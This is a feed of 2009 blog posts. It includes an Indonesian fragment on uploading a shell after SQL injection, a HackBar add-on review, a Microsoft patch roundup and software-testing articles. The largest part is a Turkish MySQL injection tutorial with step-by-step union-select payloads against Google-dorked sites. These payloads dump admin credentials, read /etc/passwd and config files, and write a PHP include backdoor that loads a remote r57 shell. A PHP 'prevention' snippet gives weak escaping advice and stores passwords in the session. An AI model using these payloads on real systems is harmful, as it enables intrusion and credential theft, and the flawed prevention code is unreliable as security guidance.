<p>Nah dah nemu ID dan password-nya sekarang <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>ket: 0&#215;3a sama dengan : &#62;&#62; 7<br />
Mencari halaman login Admin<br />
Login sebagai admin<br />
Cari fitur2 upload file atau gambar, lalu upload shell kalian<br />
ENJOY&#8230;&#8230;.. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Untuk lebih lengkapX dunlut video-nya di http://www.4shared.com/file/106354474/2e7d11e2/SQLi_Backdooring_by_vyc0d.html</p>
<p>pass : israelserverisdown</p>
<p>&#8212;&#8212;&#8212;&#8212;-<br />
Wassalam</p>
<p>vYc0d</p>
<p>_________________<br />
Talk less&#8230;Code more!!!</p>
<p>source : http://forum.hackers-center.org/viewtopic.php?f=9&#38;t=2517</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[turn firefox into hackerfox]]></title>
<link>http://always0nline.wordpress.com/2009/11/16/turn-firefox-into-hackerfox/</link>
<pubDate>Mon, 16 Nov 2009 02:57:47 +0000</pubDate>
<dc:creator>always0nline</dc:creator>
<guid>http://always0nline.wordpress.com/2009/11/16/turn-firefox-into-hackerfox/</guid>
<description><![CDATA[With the ability to add extensions, Mozilla Firefox is one of the most flexible browsers around. Tod]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>With the ability to add extensions, Mozilla Firefox is one of the most flexible browsers around. Today, we&#8217;ll be discussing HackBar, one of the many add-ons available for Firefox.</p>
<p>First things first, you can get HackBar from Mozilla&#8217;s site directly, through this link: <a title="HackBar" href="https://addons.mozilla.org/en-US/firefox/addon/3899" target="_blank">https://addons.mozilla.org/en-US/firefox/addon/3899</a></p>
<p>What does HackBar do? Well, the main purpose of HackBar is to provide you with an easy interface to test out SQL injection techniques. HackBar provides many shortcuts such as converting strings into their CHAR() equivalents in MySQL, one-click encrypting to MD5, SHA-1, SHA-256 and ROT13, encoding and decoding of URLs, etc.</p>
<p>I&#8217;ve found the encoding and decoding of URLs to be especially useful. Some addresses are URL encoded, and it makes it hard to decipher the exact content. With HackBar, you can click the &#8216;Load URL&#8217; button to load the current URL into HackBar&#8217;s text box, then click URL decode to decode the URL and give you the address in plain text.</p>
<p>Another useful feature is the MySQL union select statement. It&#8217;s a one-click solution that gives you the union select for as many columns as you specify. Definitely a real time-saver when there are lots of columns, as you no longer need to type every single one manually.</p>
<p>For those who are interested in security audits, HackBar is one tool that you want to have.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Tuesday and Security Wrapup for November 2009]]></title>
<link>http://tippingpointblog.com/2009/11/15/microsoft-tuesday-and-security-wrapup-for-november-2009/</link>
<pubDate>Sun, 15 Nov 2009 17:59:51 +0000</pubDate>
<dc:creator>TippingPoint</dc:creator>
<guid>http://tippingpointblog.com/2009/11/15/microsoft-tuesday-and-security-wrapup-for-november-2009/</guid>
<description><![CDATA[Microsoft Tuesday for November was lighter than previous months on average, especially compared to O]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Microsoft Tuesday for November was lighter than previous months on average, especially compared to October 2009, which ended up with 13 bulletins and 34 vulnerabilities disclosed.  Several bulletins were disclosed for both client and server side vulnerabilities.  There were three critical bulletins with five vulnerabilities and another three important bulletins with 10 vulnerabilities, bringing the total to six bulletins and 15 vulnerabilities. </p>
<p>Our <a title="TippingPoint DVLabs" href="http://dvlabs.tippingpoint.com" target="_blank">DVLabs </a>security research team released coverage for all of the bulletins on November 11th moments after the bulletins were disclosed by Microsoft. Our own Cody Pierce is credited with disclosing a critical flaw in the License Logging service.  In addition, our <a title="Zero Day Initiative" href="http://www.zerodayinitiative.com" target="_blank">Zero Day Initiative</a> program is credited for responsibly disclosing two important vulnerabilities to Microsoft this month.</p>
<ul>
<li>Microsoft Security Bulletin Summary for November 2009 <a href="http://www.microsoft.com/technet/security/bulletin/ms09-nov.mspx">http://www.microsoft.com/technet/security/bulletin/ms09-nov.mspx</a></li>
<li>TippingPoint ThreatLinQ Blog (login required)  <a href="http://threatlinq.tippingpoint.com/blog/?p=1393">http://threatlinq.tippingpoint.com/blog/?p=1393</a></li>
<li>TippingPoint DVLabs Security Research Team Advisory TPTI-09-07  <a href="http://dvlabs.tippingpoint.com/advisory/TPTI-09-07">http://dvlabs.tippingpoint.com/advisory/TPTI-09-07</a></li>
<li>Zero Day Initiative Advisory ZDI-09-082                                          <a href="http://www.zerodayinitiative.com/advisories/ZDI-09-082/">http://www.zerodayinitiative.com/advisories/ZDI-09-082/</a></li>
<li>Zero Day Initiative Advisory ZDI-09-083                                          <a href="http://www.zerodayinitiative.com/advisories/ZDI-09-083/">http://www.zerodayinitiative.com/advisories/ZDI-09-083/</a></li>
</ul>
<p>Overall, this month in the security world saw an average number of critical vulnerabilities disclosed by various vendors:</p>
<ul>
<li>Oracle disclosed 38 vulnerabilities this month ranging from remote command execution vulnerabilities, denial of service issues, information disclosure vulnerabilities, SQL injection vulnerabilities, security restrictions bypass issues, and certain data manipulation errors.</li>
<li>Adobe disclosed five vulnerabilities for memory corruption errors, improper usage of invalid pointers and invalid index.</li>
<li>Sun disclosed 21 vulnerabilities in the Java Runtime Environment for arbitrary code execution issues, as well as denial-of-service and security restriction bypass flaws.</li>
<li>Mozilla disclosed 10 vulnerabilities in Firefox and SeaMonkey for flaws resulting in a security restriction bypass, sensitive information access and arbitrary code execution.</li>
<li>Opera disclosed two vulnerabilities in their popular Web browser for flaws resulting in a security restriction bypass, sensitive information access and arbitrary code execution.</li>
</ul>
<p>Stay tuned for an update next month on Microsoft Tuesday and the state of vulnerability disclosures.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mysql+İnjection+Makale+nedir+nasıl+birşey?]]></title>
<link>http://kaptanoglu.wordpress.com/2009/11/13/mysqlinjectionmakalenedirnasilbirsey/</link>
<pubDate>Fri, 13 Nov 2009 14:18:21 +0000</pubDate>
<dc:creator>kaptanoglu</dc:creator>
<guid>http://kaptanoglu.wordpress.com/2009/11/13/mysqlinjectionmakalenedirnasilbirsey/</guid>
<description><![CDATA[S.a Arkadaşlar Bugun sizl3rl3 son g3lişm3l3r ışığında sql İnj3ction (Mysql) konusunu 3l3 alacağız. B]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>S.a Arkadaşlar</p>
<p>Bugun sizl3rl3 son g3lişm3l3r ışığında sql İnj3ction (Mysql) konusunu 3l3 alacağız. Bu günl3rd3 vid3o olarak fazla mat3ryali bulunsa da makal3 ş3kliyl3 y3t3rinc3 d3ğinilm3miş olduğunu fark 3ttim v3 bu anlatımı yapmak ist3dim. İç3rik olarak biraz uzun bir yazı olabilir ancak birçok kişiy3 faydalı olacağı kanaatind3yim.</p>
<p>sql İnj3ction n3dir ?<br />
sql Inj3ction k3lim3 manasıyla da anlaşılabil3c3ği gibi sql sorgularının arasına dışarıdan zararlı v3ri 3kl3m3 işl3min3 v3ril3n isimdir. Dinamik w3b uygulamalarında bir v3ritabanı v3 o v3ritabanı üz3rind3 çalışan sql sorguları vardır. Bu sorgular masum amaçlı bir v3ya bird3n fazla tablodan v3ril3r ç3k3r3k 3tkil3şimi sağlamayı amaçlamaktadır. Ama dışarıdaki kullanıcının uygulamaya g3l3n girdil3r3 zararlı v3ri karıştırması sonucu masum sorgularımız korkunç bir faciaya s3b3p olurlar.</p>
<p>Mysql N3dir N3 iş3 Yarar?<br />
Mysql şu anda int3rn3tt3ki 3n popül3r açık kaynak kodlu v3ritabanı yazılımıdır. Tüm v3ril3ri t3k bir ambara yığmak y3rin3 farklı tablolarda v3 v3ritabanlarında düz3nli bir biçimd3 saklamaya yarayan d3polama alanıdır.</p>
<p>sql İnj3ction Bulmada kullanılan G3r3çl3r N3l3rdir ?<br />
sql inj3ction w3b sit3l3ri üz3rind3 3xplor3r vb. w3b tarayacılar kullanılarak bulunabildiği gibi ç3şitli programlama dill3ri il3 yazılmış (p3rl, python, C++, d3lphi vs.) hazır programlarla da bulunabilinir.</p>
<p>N3r3l3rd3 Aranır ?<br />
İd d3ğişk3nl3rin bulunduğu bölg3l3rd3<br />
Arama sayfalarında<br />
Admin v3 us3r giriş pan3ll3rind3<br />
Zayıf s3o uygulamalarında<br />
G3t v3 post m3thodu kullanılmış sayfalarda</p>
<p><strong>injectionda Ençok Kullanılan Komutlar Nelerdir ?</strong><br />
Union all select kolon sayısı veya union select kolon sayısı  (verileri çekmede kullanılır)<br />
Group_concat() (Tablo isimlerini tek seferde toplu olarak çekmede kullanılır)<br />
Concat()  (Tablo isimlerini tek tek çekmede kullanılır)<br />
Load_file()  (/etc/passwd ve diğer site dosyalarını okumada kullanılır)<br />
İnto outfile  ( Siteye dışarıdan dosya yüklemede kullanılır)<br />
İnto dumpfile  ( Siteye dışarıdan dosya yüklemede kullanılır)<br />
İnformation_schema.schemata  (Veritabanlarının adını görmek için kullanılır)<br />
İnformation_schema.schema  (Veritabanının adını görmek için kullanılır)<br />
İnformation_schema.tables  (Veritabanındaki tablo isimlerini görmek için kullanılır)<br />
İnformation_schema.columns (Veritabanındaki tabloların içindeki kolonların isimlerini görmek için kullanılır)<br />
Limit 1,1  (Veritabanı, tablo ve kolonlarını sırasıyla listelemek için kullanılır)<br />
Like % aranacak kelime % ( Tablo içinde arama yapmaya yarar)<br />
Char()  (magic_quotes in açık olduğu ve tırnak kabul etmediği zamanlarda kullanılır)<br />
Unhex ve Hex  (magic_quotes in açık olduğu ve tırnak kabul etmediği zamanlarda kullanılır)</p>
<p><strong>İnjectiona başlangıç :</strong><br />
Öncelikle site açığı bulabilmek için google veya benzeri bir arama motorundan çeşitli parametreler girerek istediğimiz gibi bir site buluyoruz.</p>
<p>Örneğin googleye girip arama kısmına “inurl:article.php?id=” giriyoruz. Karşımıza çıkan sayfalardan birine girelim.</p>
<p>www.hedefsite.com/article.php?id=15</p>
<p>Girdiğimiz sitenin adresi bu şekilde olduğunu farz ediyorum ve devam ediyoruz. Bu sayfada sql açığı olup olmadığını birkaç şekilde anlamamız mümkün.</p>
<p>1.) Sayfanın en sonuna ‘a (tırnak işareti veya yanında bir harf) yaparak sayfaya hata verdirtmeye çalışırız. Magic_quotes açıksa sayfada hata almazsınız.<br />
Not: PHP 6.0’dan itibaren magic_quotes kullanılmayacak</p>
<p>2.) And 1=1 ve and 1=0 sıfır kullanarak sayfada bir değişiklik olup olmadığını gözlemlersiniz. Eğer sayfanın şekli değişirse muhtemelen açık vardır.</p>
<p>Biz burada 2. şıkkı deneyerek devam edelim.</p>
<p>www.hedefsite.com/article.php?id=15 and 1=0 sayfa hata veriri yada içeriği yok olur.<br />
www.hedefsite.com/article.php?id=15 and 1=1 sayfa olması gerektiği gibi çıkar.</p>
<p>Evet sitede sql açığı var. Şimdi sql açığını uygulamadan önce kolon sayısını tutturmamız gerekiyor. Bunun için; “group by rakam” veya “order by rakam” ifadelerini kullanarak kolon sayılarını bulalım.</p>
<p>Burada yapmamız gereken olay şudur. Hata veren sayfa ile hata vermeyen sayfanın tam yerini tespit etmek. Örneğin group by 15 yaptığınızda hata yokken group by 16 yaptığınızda hata varsa kolon sayımız 15 dir. Hata veren sayının bir öncesi kolon sayımızı verir..</p>
<p>www.hedefsite.com/article.php?id=15 group by 20&#8211;  Hata verdi veya sayfa görünümü bozuldu<br />
www.hedefsite.com/article.php?id=15 group by 12&#8211; Hata devam ediyor www.hedefsite.com/article.php?id=15 group by 3&#8211; Sayfa Normal Çıktı<br />
www.hedefsite.com/article.php?id=15 group by 5&#8211; Sayfa Hata verdi<br />
www.hedefsite.com/article.php?id=15 group by 4&#8211; Sayfa Normal Çıktı</p>
<p><strong>Kolon sayımız : 4 </strong></p>
<p>www.hedefsite.com/article.php?id=15+union+select+1,2,3,4&#8211;</p>
<p>Son kısımda kullandığım işaret (&#8211;) sonlandırma işaretidir. Bazen o işareti koyduğunuzda hata alırsınız bazen koymadığınız zaman. Sitenin durumuna göre koyup koymamak size kalmış.</p>
<p><strong>Materyaller :</strong><br />
Union: Birden fazla sayıdaki tablolardan veri çekmeye yarayan bir sql operatörüdür.<br />
Select : Tablolardaki alanları listelemek için kullanılan komuttur.<br />
Where: Veriler arasında çeşitli kriterlere göre sorgu yapma yarar</p>
<p>www.hedefsite.com/article.php?id=15+union+select+1,2,3,4&#8211;</p>
<p>Yukarıdaki şekilde yazdığınızda sayfa görünür hale gelir. Ancak bizim istediğimiz girdiğimiz kolon sayılarının ekrana yansımasıdır. Bunu sağlamak için sitede olmayan bir id numarası girmeliyiz veya id değişkenin önüne – işareti koyarak istediğimiz sayfa şekline ulaşırız..</p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,2,3,4&#8211;</p>
<p>Yukarıdaki şekli elde ettikten sonra ekrana yansıyan rakamlar yerine sql sorguları yaparak hedefimize ulaşmaya çalışırız.</p>
<p>Mysqlin genelde 2 çeşit versiyonu kullanılır. 4 versiyonu ve 5 versiyonu Bunlar birbirinden oldukça farklıdır diyebiliriz. 4 versiyonlar da tablo ve kolonlar deneme yanılma yöntemi ile bulunabilirken 5 versiyonun da sql sorgularıyla tüm bilgilere ulaşabiliriz.</p>
<p>Mysql de verilerin depolandığı sistem tabloları mevcuttur. Bunların içinde en çok kullandığımız information_schema ile başlayan ve schemata, schema, tables , columns vs gibi alt değerleri içinde barındıran sistem tablosudur.</p>
<p>Bizim sitemizdeki mysqlin 5 versiyonu olsun ve devam edelim..</p>
<p>Site sayfasında 2 &#8211; 4 ve 8 görünüyor olsun ve biz 2 rakamının yerine sql kodlarımızı yazalım.</p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(table_name),3,4 +from+information_schema.tables&#8211;</p>
<p>Bu girmiş olduğumuz istekle veritabanındaki tabloları group_concat kullanarak toplu olarak göstermesini istiyoruz. Karşımıza veritabanındaki tablolar çıkar ancak sistem tablolarıda çıkmıştır. Onların görünmemesi için;</p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(table_name),3,4+from+information_schema.tables +where+table_schema=database()&#8211;</p>
<p>giriyoruz. Böylece sitenin veritabanındaki site ile ilgili tablolara ulaşırız. Bu tabloların içinden bumlamamız gereken tablo admin yada kullanıcıların kaydedildiği tablo adıdır.<br />
Admin – users – siteadmin – settings – adminuser vb isimlerde olabilir.</p>
<p>Bizim sitemizde adminuser çıksın ve onun üzerinden işleme devam edelim.</p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(column_name),3,4+from+information_schema.columns +where+table_name=’adminuser’&#8211;</p>
<p>Bu yukarıda girdiğimiz sorguyla adminuser tablosundaki kolonları göster demiş oluyoruz.. Eğer sayfa hata verir ve bize bir şey göstermiyorsa sebebi adminuser tablosunun iki tarafına koyduğumuz tırnak işaretindendir. Böyle durumlarda adminuseri char() fonksiyonunu kullanarak çevirmeli ve tırnaklardan kurtulmalıyız.</p>
<p>Tablo isimlerini  char() a çevirmek için http://www.easycalculation.com/ascii-hex.php sitesinden faydalanabilirsiniz..</p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(column_name),3,4+from+information_schema.columns +where+table_name=CHAR(97,100,109,105,110,117,115,101,114)&#8211;</p>
<p>Evet sitemizde adminuser tablosunun içindeki kolon isimleri çıkmış olmalı..<br />
İd – username – password – mail  vb. şekillerde..</p>
<p>Şimdi sorgumuzu bu elde etmiş olduğumuz bilgileri kullanarak değiştirip gerekli kullanıcı adı ve şifrelerini elde edelim.</p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,group_concat(id,0&#215;3a,username,0&#215;3a,password,0&#215;3a,mail),3,4+from+adminuser&#8211;</p>
<p>Burada kullandığımız 0&#215;3a hex stringi olup açılımı : (iki nokta üst üste) demektir.</p>
<p>Bu şekliyle kullanıcı ve şifreleri toplu halde görünür. Dilerseniz tek tek id numaralarına görede bakabilirsiniz.</p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,concat(id,0&#215;3a,username,0&#215;3a,password,0&#215;3a,mail),3,4+from+adminuser+where+id=1&#8211;</p>
<p>Bu yaptığımız işlemler sonucunda sayfaya yansıyan kullanıcı adı ve şifrelerini kullanarak siteye admin girişi yapmamız mümkündür.</p>
<p><strong>Diğer Fonksiyonlara Örnekler:</strong></p>
<p><strong>Local File Inclusion :</strong> Dosya dahil etme anlamına gelir. Serverdeki dosyaları bu açıkla oyuyabiliriz</p>
<p><strong>Kullanımı :</strong></p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,load_file(‘/etc/passwd’),3,4,5,6,7,8,9,10,11,12,13,14,15&#8211;</p>
<p><strong>Sonuç : </strong><br />
root:x:0:0:root:/root:/bin/tcsh<br />
hacksever:x:1:1:hacksever:/usr/sbin:/bin/sh<br />
deneme:x:2:2:deneme:/bin:/bin/sh<br />
sys:x:3:3:sys:/dev:/bin/sh</p>
<p>Şeklinde serverdeki kullanıcı isimleri ve yetkilerine ulaşılabiliriz.</p>
<p><strong>Yada</strong></p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,load_file(‘/home/hedefsite/public_html/config.php’),3,4&#8211;</p>
<p><strong>Sonuç: </strong></p>
<p>$host = &#8220;localhost&#8221;;<br />
$k_adi = &#8220;hacksever&#8221;;<br />
$sifre = &#8220;1111122222&#8243;;<br />
$db = &#8220;hack_db&#8221;;</p>
<p>Server yolunu ve dosyasını göstererek php dosyası içindeki kodları ekrana yansıtarak mysql bağlantı bilgilerine ulaşabiliriz.</p>
<p>Kodun çalışmaması durumlarda server uzantısının tamamı hex e çevrilip tırnak işaretlerinden kurtulmak gereklidir.</p>
<p><strong>/etc/passwd in hexe dönüşmüş hali :</strong></p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,load_file(0&#215;2f6574632f706173737764),3,4&#8211;</p>
<p>İnto+outfile ve into dumpfile:<br />
Dışarıdan dosya dahil etmeye yarar. Server uzantısı bilinen sitede güvenlik açığı oluşturacak bir dosya dahil edilip shell kullanarak siteye girmek için kullanılabilinir.</p>
<p><strong>Kullanımı :</strong></p>
<p>www.hedefsite.com/article.php?id=-15+union+select+1,’ &#60;?include($_GET["abc"]);?&#62;’,3,4+from+information_schema.tables +into+outfile+’/home/hedefsite/public_html/hack.php&#8211;</p>
<p>Sitede hack.php adında içinde &#60;?include($_GET["abc"]);?&#62; diye bir php kodu bulunan bir dosya oluşturmuş olduk.</p>
<p><strong>Sonuç:</strong></p>
<p>www.hedefsite.com/back.php?abc=http://shellsiteniz.com/r57.txt?</p>
<p>Yukarıdaki şekilde yazdığınızda sitenin serverine girmiş olursunuz.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Simple way of preventing SQL injection in PHP]]></title>
<link>http://mehedi895.wordpress.com/2009/11/13/simple-way-of-preventing-sql-injection-in-php/</link>
<pubDate>Fri, 13 Nov 2009 09:54:24 +0000</pubDate>
<dc:creator>mehedi895</dc:creator>
<guid>http://mehedi895.wordpress.com/2009/11/13/simple-way-of-preventing-sql-injection-in-php/</guid>
<description><![CDATA[SQL injection is a code injection technique that exploits a security vulnerability occurring in the ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>SQL injection is a code injection technique that exploits a security vulnerability occurring in the MySQL database of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. </p>
<p>So to make a secure database query we should use some prevention. Usually, MySQL escape string and add- slash is to very common technique used for MySQL database. Here is a very simple login code with SQL injection protection.</p>
<pre class="brush: php;">
&#60;?php
function safe($value)
{
   include('conn.php');
   $value = addslashes($value);
   return mysql_real_escape_string($value);
}
$username = safe($_POST['username']);
$password = safe($_POST['password']);
$submit = $_POST['submit'];
if(isset($submit))
{
	if($username == &#34;&#34;)
	{
		$messageName = &#34;Please Enter an User Name&#34;;
	}
	else if($password == &#34;&#34;)
	{
		$messageName = &#34;Please Enter an Password&#34;;
	}
	else
	{
		$sql=&#34;SELECT * FROM user WHERE email='$username' and password ='$password'&#34;;
		$result=mysql_query($sql);
		$count=mysql_num_rows($result);
		if($count==1)
			{
				session_start();
				$_SESSION['myusername'] = $username  ;
				$_SESSION['mypassword'] = $password ;
				header(&#34;location:home.php&#34;);
			}
		else
			{
				$messageName = &#34;Wrong Username or Password&#34;;
			}
	}
}
?&#62;
</pre>
<p>In this file we are getting two post variables User Name and Password. So after getting them we are just simply calling Safe() function. Inside the safe function, first we are adding slash with it using addslash() function. (This is a PHP built in function). After that we are calling mysql_real_escape_string() function. mysql_real_escape_string() calls MySQL&#8217;s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, &#8216;, &#8221; and \x1a. </p>
<p>This function is used to make data safe before sending a query to MySQL. Lastly, we have used a conn.php file to configure the database connection. Inside the conn.php file we will add database name, host name, user name and password to make a database connection. Here is a example of conn.php file:</p>
<pre class="brush: php;">
&#60;?php
$db_name = &#34;test&#34;;
$conn = @mysql_connect(&#34;localhost&#34;, &#34;root&#34;, &#34;&#34;)
or die(&#34;Couldn't connect.&#34;);
$db = @mysql_select_db($db_name, $conn) or die(&#34;Couldn't select database.&#34;);
?&#62;
</pre>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is Boundary value analysis and Equivalence partitioning?]]></title>
<link>http://sqahelp.wordpress.com/2009/11/13/what-is-boundary-value-analysis-and-equivalence-partitioning/</link>
<pubDate>Fri, 13 Nov 2009 07:08:12 +0000</pubDate>
<dc:creator>Ammad Ghauri</dc:creator>
<guid>http://sqahelp.wordpress.com/2009/11/13/what-is-boundary-value-analysis-and-equivalence-partitioning/</guid>
<description><![CDATA[Boundary value analysis and Equivalence partitioning, explained with simple example: Boundary value ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><strong>Boundary value analysis and Equivalence partitioning, explained with simple example:</strong></p>
<p>Boundary value analysis and equivalence partitioning both are test case design strategies in black box testing.</p>
<p><strong>Equivalence Partitioning:</strong></p>
<p>In this method the input domain data is divided into different equivalence data classes. This method is typically used <strong>to reduce the total number of test case</strong>s to a finite set of testable test cases, still covering maximum requirements.</p>
<p>In short it is the process of taking all possible test cases and placing them into classes. One test value is picked from each class while testing.</p>
<p><strong>E.g.:</strong> If you are testing for an input box accepting numbers from 1 to 1000 then there is no use in writing thousand test cases for all 1000 valid input numbers plus other test cases for invalid data.</p>
<p>Using equivalence partitioning method above test cases can be divided into three sets of input data called as classes. Each test case is a representative of respective class.</p>
<p>So in above example we can divide our test cases into three equivalence classes of some valid and invalid inputs.</p>
<p><strong>Test cases for input box accepting numbers between 1 and 1000 using Equivalence Partitioning:</strong><br />
<strong>1)</strong> One input data class with all valid inputs. Pick a single value from range 1 to 1000 as a valid test case. If you select other values between 1 and 1000 then result is going to be same. So one test case for valid input data should be sufficient.</p>
<p><strong>2)</strong> Input data class with all values below lower limit. I.e. any value below 1, as a invalid input data test case.</p>
<p><strong>3)</strong> Input data with any value greater than 1000 to represent third invalid input class.</p>
<p>So using equivalence partitioning you have categorized all possible test cases into three classes. Test cases with other values from any class should give you the same result.</p>
<p>We have selected one representative from every input class to design our test cases. Test case values are selected in such a way that largest number of attributes of equivalence class can be exercised.</p>
<p>Equivalence partitioning uses fewest test cases to cover maximum requirements.</p>
<p><strong>Boundary value analysis:</strong></p>
<p>It’s widely recognized that input values at the extreme ends of input domain cause more errors in system. More application <strong>errors occur at the boundaries</strong> of input domain. ‘Boundary value analysis’ testing technique is used to identify errors at boundaries rather than finding those exist in center of input domain.</p>
<p>Boundary value analysis is a next part of Equivalence partitioning for designing test cases where test cases are selected at the edges of the equivalence classes.</p>
<p><strong>Test cases for input box accepting numbers between 1 and 1000 using Boundary value analysis:</strong><br />
<strong>1)</strong> Test cases with test data exactly as the input boundaries of input domain i.e. values 1 and 1000 in our case.</p>
<p><strong>2)</strong> Test data with values just below the extreme edges of input domains i.e. values 0 and 999.</p>
<p><strong>3)</strong> Test data with values just above the extreme edges of input domain i.e. values 2 and 1001.</p>
<p>Boundary value analysis is often called as a part of stress and negative testing.</p>
<p><strong>Note:</strong> There is no hard-and-fast rule to test only one value from each equivalence class you created for input domains. You can select multiple valid and invalid values from each equivalence class according to your needs and previous judgments.</p>
<p><strong>E.g.</strong> if you divided 1 to 1000 input values in valid data equivalence class, then you can select test case values like: 1, 11, 100, 950 etc. Same case for other test cases having invalid data classes.</p>
<p>This should be a very basic and simple example to understand the Boundary value analysis and Equivalence partitioning concept.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to test software requirements specification (SRS)?]]></title>
<link>http://sqahelp.wordpress.com/2009/11/11/how-to-test-software-requirements-specification-srs/</link>
<pubDate>Wed, 11 Nov 2009 11:56:25 +0000</pubDate>
<dc:creator>Ammad Ghauri</dc:creator>
<guid>http://sqahelp.wordpress.com/2009/11/11/how-to-test-software-requirements-specification-srs/</guid>
<description><![CDATA[Do you know “Most of the bugs in software are due to incomplete or inaccurate functional requirement]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Do you know <strong>“Most of the bugs in software are due to incomplete or inaccurate functional requirements?”</strong> The software code, doesn’t matter how well it’s written, can’t do anything if there are ambiguities in requirements.</p>
<p>It’s better to catch the requirement ambiguities and fix them in early development life cycle. Cost of fixing the bug after completion of development or product release is too high.  So it’s important to have requirement analysis and catch these incorrect requirements before design specifications and project implementation phases of SDLC.</p>
<p>&#160;</p>
<p><strong>How to measure functional software requirement specification (SRS) documents?</strong><br />
Well, we need to define some standard tests to measure the requirements. Once each requirement is passed through these tests you can evaluate and freeze the functional requirements.</p>
<p>Let’s take an example. You are working on a web based application. Requirement is as follows:<br />
“Web application should be able to serve the user queries as early as possible”</p>
<p><strong>How will you freeze the requirement in this case?</strong><br />
What will be your requirement satisfaction criteria? To get the answer, ask this question to stakeholders: How much response time is ok for you?<br />
If they say, we will accept the response if it’s within 2 seconds, then this is your requirement measure. Freeze this requirement and carry the same procedure for next requirement.</p>
<p><strong>We just learned how to measure the requirements and freeze those in design, implementation and testing phases.</strong></p>
<p>Now let’s take other example. I was working on a web based project. Client (stakeholders) specified the project requirements for initial phase of the project development. My manager circulated all the requirements in the team for review. When we started discussion on these requirements, we were just shocked! Everyone was having his or her own conception about the requirements. We found lot of ambiguities in the ‘terms’ specified in requirement documents, which later on sent to client for review/clarification.</p>
<p>Client used many ambiguous terms, which were having many different meanings, making it difficult to analyze the exact meaning. The next version of the requirement doc from client was clear enough to freeze for design phase.</p>
<p><strong>From this example we learned “Requirements should be clear and consistent”</strong></p>
<p>Next criteria for testing the requirements specification is <strong>“Discover missing requirements”</strong></p>
<p>Many times project designers don’t get clear idea about specific modules and they simply assume some requirements while design phase. Any requirement should not be based on assumptions. Requirements should be complete, covering each and every aspect of the system under development.</p>
<p>Specifications should state both type of requirements i.e. what system should do and what should not.</p>
<p>Generally I use my own method to uncover the unspecified requirements. When I read the <strong>software requirements specification document (SRS)</strong>, I note down my own understanding of the requirements that are specified, plus other requirements SRS document should supposed to cover. This helps me to ask the questions about unspecified requirements making it clearer.</p>
<p>For checking the requirements completeness, divide requirements in three sections, ‘Must implement’ requirements, requirements those are not specified but are ‘assumed’ and third type is ‘imagination’ type of requirements. Check if all type of requirements are addressed before software design phase.</p>
<p><strong>Check if the requirements are related to the project goal.</strong><br />
Some times stakeholders have their own expertise, which they expect to come in system under development. They don’t think if that requirement is relevant to project in hand. Make sure to identify such requirements. Try to avoid the irrelevant requirements in first phase of the project development cycle. If not possible ask the questions to stakeholders: why you want to implement this specific requirement? This will describe the particular requirement in detail making it easier for designing the system considering the future scope.</p>
<p><strong>But how to decide the requirements are relevant or not?</strong><br />
Simple answer: Set the project goal and ask this question: If not implementing this requirement will cause any problem achieving our specified goal? If not, then this is irrelevant requirement. Ask the stakeholders if they really want to implement these types of requirements.</p>
<p><strong>In short requirements specification (SRS) doc should address following:</strong><br />
Project functionality (What should be done and what should not)<br />
Software, Hardware interfaces and user interface<br />
System Correctness, Security and performance criteria<br />
Implementation issues (risks) if any</p>
<p><strong>Conclusion: </strong><br />
I have covered all aspects of requirement measurement. To be specific about requirements, I will summarize requirement testing in one sentence:<br />
<strong>“Requirements should be clear and specific with no uncertainty, requirements should be measurable in terms of specific values, requirements should be testable having some evaluation criteria for each requirement, and requirements should be complete, without any contradictions”</strong></p>
<p>Testing should start at requirement phase to avoid further requirement related bugs. Communicate more and more with your stakeholder to clarify all the requirements before starting project design and implementation.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to be a good tester?]]></title>
<link>http://sqahelp.wordpress.com/2009/11/11/how-to-be-a-good-tester/</link>
<pubDate>Wed, 11 Nov 2009 11:47:52 +0000</pubDate>
<dc:creator>Ammad Ghauri</dc:creator>
<guid>http://sqahelp.wordpress.com/2009/11/11/how-to-be-a-good-tester/</guid>
<description><![CDATA[It’s a every testers question. How to be a good tester? Apart from the technical knowledge, testing ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>It’s a every testers question. <strong>How to be a good tester?</strong> Apart from the technical knowledge, testing skills, tester should have some personal level skills which will help them to build a good rapport in the testing team.</p>
<p>What are these abilities , skills which make a tester as a good tester? Well, I was reading Dave Whalen’s article <strong>“Ugly Baby Syndrome!”</strong> and found it very interesting. <strong>Dave compared software developers with the parents who deliver a baby (software) with countless efforts.</strong> Naturally the product managers, architectures, developers spent their countless time on developing application for the customer. Then they show it to us (testers) and asks: “ How is the baby (Application)? “ And testers tell them often that they have and ugly baby. (Application with Bugs!)</p>
<p>Testers don’t want to tell them that they have ugly baby, but unfortunately its our job. So effectively tester can convey the message to the developers without hurting them. How can be this done? Ya that is the skill of a good tester!</p>
<p>Here are the tips sated by <em>Dave</em> to handle such a delicate situation:</p>
